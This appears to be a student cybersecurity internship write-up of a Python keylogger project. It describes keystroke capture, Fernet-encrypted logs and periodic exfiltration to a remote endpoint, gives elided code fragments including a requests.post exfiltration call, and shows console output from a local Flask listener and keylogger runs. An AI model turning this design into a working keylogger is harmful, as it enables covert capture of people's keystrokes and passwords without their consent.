

## Project – 1

### Keylogger via python

First need to write code and then demonstrations

## Introduction

### What is a Keylogger?

- A software application that records keystrokes made by a user.
- Often used for monitoring user activity, but can be misused for malicious purposes.

### Purpose of the Project:

- To demonstrate the functionality of a keylogger.
- To understand the implications of keylogging technology.
- To explore encryption and data exfiltration techniques.

### Key Features of the Keylogger:

- **Keystroke Recording:** Captures all keystrokes in real-time.
- **Data Encryption:** Uses symmetric encryption (Fernet) to secure logged data.
- **Periodic Exfiltration:** Sends logged data to a remote server at regular intervals.
- **Kill Switch:** Allows the user to stop the keylogger using a specific key combination (Ctrl + Shift + K).

### Components:

- **Keylogger Class:** Main functionality for capturing and processing keystrokes.
- **Encryption Module:** Handles encryption and decryption of logged data.
- **Exfiltration Module:** Manages sending data to a remote server.
- **Logging System:** Records events and errors for debugging.

### Initialization:

- Loads or generates an encryption key.
- Starts a thread for periodic data exfiltration.

```
1 self.key = self.load_or_create_key()
2 self.exfiltration_thread = threading.Thread(target=self.exfiltrate_periodically, daemon=True)
3 self.exfiltration_thread.start()
```

### Key Press Handling:

- Records pressed keys and timestamps.
- Checks for kill switch activation.

```
1 def on_press(self, key):
2     ...
3     if self.killswitch_triggered():
4         ...
5     self.log_buffer.append(log_entry)
```

### Encrypting and Decrypting Logs:

- Uses Fernet symmetric encryption for securing logs.

```
1 def encrypt(self, plaintext: str) -> str:
2     token = self.cipher.encrypt(plaintext.encode('utf-8'))
```

### Data Exfiltration:

- Sends logs to a specified endpoint.
- Handles errors and retries.

```
1 def exfiltrate(self):
2     ...
3     response = requests.post(EXFILTRATION_ENDPOINT, json=payload, timeout=5)
```

### Ethical Implications:

- Keyloggers can be used for malicious purposes.
- Importance of consent and legal compliance.

### Security Measures:

- Data encryption to protect user privacy.
- Implementation of a kill switch for user control.

## Setup listner server for keystroke

```
C:\Users\manis\AppData\Local\Temp\b34adc6e-f928-485a-8759-8a762fa6d963.lnk - python "loca...
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::ae:a15f:8a17:19ae%13
IPv4 Address. . . . . : 192.168.205.1
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . :

Wireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . : 2409:40d4:12b:e29d:b650:d4af:80b1:453c
Temporary IPv6 Address. . . . . : 2409:40d4:12b:e29d:b4d6:5731:240f:9771
Link-local IPv6 Address . . . . . : fe80::88d3:e61:9d30:a030%11
IPv4 Address. . . . . : 192.168.212.154
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : fe80::2c58:35ff:fefa:29de%11
                            192.168.212.21

Ethernet adapter Bluetooth Network Connection:

Media State . . . . . : Media disconnected
Connection-specific DNS Suffix . :

C:\Users\manis\Downloads>python "local host listener.python"
* Serving Flask app 'local host listener'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use
a production WSGI server instead.
* Running on http://127.0.0.1:5000
Press CTRL+C to quit
```

## Main code File for keylogger

```
C:\Users\manis\AppData\Local\Temp\fbceda36-aab1-459b-8282-fb1bf9ddd98f.Ink

15-06-2025  19:03          59,245 Project 1.docx
          3 File(s)          66,965 bytes
          2 Dir(s) 44,594,098,176 bytes free

C:\Users\manis\Desktop\cyber_security_intership_Elevate_Lab\Project 1>python "Main code.py"
[2025-06-15 19:07:51,040] INFO - Encryption key loaded from file.
[2025-06-15 19:07:51,044] INFO - Keylogger started. Press Ctrl+Shift+K to stop.
[2025-06-15 19:08:26,126] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:08:49,149] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:08:53,206] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:08:55,272] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:08:57,349] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:08:59,407] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:01,466] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:03,540] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:05,583] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:07,639] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:09,690] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:11,768] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:13,805] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:15,875] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:17,927] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:19,970] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:22,016] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:24,074] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:26,145] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:28,198] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:30,268] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:32,327] INFO - Exfiltrated one log entry successfully.
[2025-06-15 19:09:34,376] INFO - Exfiltrated one log entry successfully.
```

```
C:\Users\manis\AppData\Local\Temp\fbceda36-aab1-459b-8282-fb1bf9ddd98f.Ink

[2025-06-15 19:05:43,210] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:05:44,213] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:05:45,217] INFO - Saved 3 keystrokes to log file.
[2025-06-15 19:05:46,220] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:05:48,226] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:05:49,230] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:05:50,232] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:05:51,235] INFO - Saved 6 keystrokes to log file.
[2025-06-15 19:05:52,238] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:05:53,241] INFO - Saved 4 keystrokes to log file.
[2025-06-15 19:05:54,246] INFO - Saved 6 keystrokes to log file.
[2025-06-15 19:05:56,251] INFO - Saved 4 keystrokes to log file.
[2025-06-15 19:05:57,255] INFO - Saved 3 keystrokes to log file.
[2025-06-15 19:05:58,259] INFO - Saved 3 keystrokes to log file.
[2025-06-15 19:05:59,262] INFO - Saved 3 keystrokes to log file.
[2025-06-15 19:06:00,265] INFO - Saved 5 keystrokes to log file.
[2025-06-15 19:06:01,269] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:06:02,274] INFO - Saved 5 keystrokes to log file.
[2025-06-15 19:06:03,286] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:06:04,290] INFO - Saved 4 keystrokes to log file.
[2025-06-15 19:06:05,293] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:06:06,297] INFO - Saved 5 keystrokes to log file.
[2025-06-15 19:06:07,301] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:06:36,329] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:06:37,333] INFO - Saved 1 keystrokes to log file.
[2025-06-15 19:06:38,348] INFO - Saved 2 keystrokes to log file.
[2025-06-15 19:06:39,368] INFO - Saved 1 keystrokes to log file.
```

## Final Demonstrations of project

[illegible][illegible]